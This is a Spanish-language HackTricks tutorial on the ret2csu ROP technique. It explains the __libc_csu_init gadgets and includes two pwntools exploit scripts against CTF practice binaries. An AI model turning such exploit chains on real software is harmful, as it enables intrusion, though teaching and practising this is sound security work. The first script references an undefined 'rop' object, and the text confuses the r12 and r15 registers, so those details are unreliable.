Ret2csu

Support HackTricks

ret2csu es una técnica de hacking utilizada cuando intentas tomar control de un programa pero no puedes encontrar los gadgets que normalmente usas para manipular el comportamiento del programa.

Cuando un programa utiliza ciertas bibliotecas (como libc), tiene algunas funciones integradas para gestionar cómo diferentes partes del programa se comunican entre sí. Entre estas funciones hay algunas joyas ocultas que pueden actuar como nuestros gadgets faltantes, especialmente una llamada __libc_csu_init.

Los Gadgets Mágicos en __libc_csu_init

En __libc_csu_init, hay dos secuencias de instrucciones (gadgets) a destacar:

  1. La primera secuencia nos permite configurar valores en varios registros (rbx, rbp, r12, r13, r14, r15). Estos son como espacios donde podemos almacenar números o direcciones que queremos usar más tarde.

pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

Este gadget nos permite controlar estos registros al sacar valores de la pila y colocarlos en ellos.

  1. La segunda secuencia utiliza los valores que configuramos para hacer un par de cosas:

  • Mover valores específicos a otros registros, preparándolos para que los usemos como parámetros en funciones.

  • Realizar una llamada a una ubicación determinada al sumar los valores en r15 y rbx, y luego multiplicar rbx por 8.

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. Tal vez no conozcas ninguna dirección a la que escribir allí y necesitas una instrucción ret. Ten en cuenta que el segundo gadget también terminará en un ret, pero necesitarás cumplir algunas condiciones para alcanzarlo:

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

Las condiciones serán:

  • [r12 + rbx*8] debe apuntar a una dirección que almacene una función callable (si no hay idea y no hay pie, puedes usar simplemente la función _init):

  • Si _init está en 0x400560, usa GEF para buscar un puntero en la memoria hacia ella y hacer que [r12 + rbx*8] sea la dirección con el puntero a _init:

# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44     "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44     "\x60\x05\x40[...]"
  • rbp y rbx deben tener el mismo valor para evitar el salto

  • Hay algunos pops omitidos que necesitas tener en cuenta

RDI y RSI

Otra forma de controlar rdi y rsi desde el gadget ret2csu es accediendo a sus offsets específicos:

Consulta esta página para más información:

BROP - Blind Return Oriented Programming

Ejemplo

Usando la llamada

Imagina que quieres hacer una syscall o llamar a una función como write(), pero necesitas valores específicos en los registros rdx y rsi como parámetros. Normalmente, buscarías gadgets que configuren estos registros directamente, pero no puedes encontrar ninguno.

Aquí es donde entra en juego ret2csu:

  1. Configura los Registros: Usa el primer gadget mágico para sacar valores de la pila y colocarlos en rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) y r15.

  2. Usa el Segundo Gadget: Con esos registros configurados, usas el segundo gadget. Esto te permite mover tus valores elegidos a rdx y rsi (desde r14 y r13, respectivamente), preparando los parámetros para una llamada a función. Además, al controlar r15 y rbx, puedes hacer que el programa llame a una función ubicada en la dirección que calculas y colocas en [r15 + rbx*8].

Tienes un ejemplo usando esta técnica y explicándolo aquí, y este es el exploit final que utilizó:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

Nota que el exploit anterior no está destinado a hacer un RCE, está destinado a simplemente llamar a una función llamada win (tomando la dirección de win desde stdin llamando gets en la cadena ROP y almacenándola en r15) con un tercer argumento con el valor 0xdeadbeefcafed00d.

Eludir la llamada y alcanzar ret

El siguiente exploit fue extraído de esta página donde se utiliza ret2csu pero en lugar de usar la llamada, está eludiendo las comparaciones y alcanzando el ret después de la llamada:

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

¿Por qué no usar libc directamente?

Usualmente, estos casos también son vulnerables a ret2plt + ret2lib, pero a veces necesitas controlar más parámetros de los que se pueden controlar fácilmente con los gadgets que encuentras directamente en libc. Por ejemplo, la función write() requiere tres parámetros, y encontrar gadgets para establecer todos estos directamente puede no ser posible.

Support HackTricks

Last updated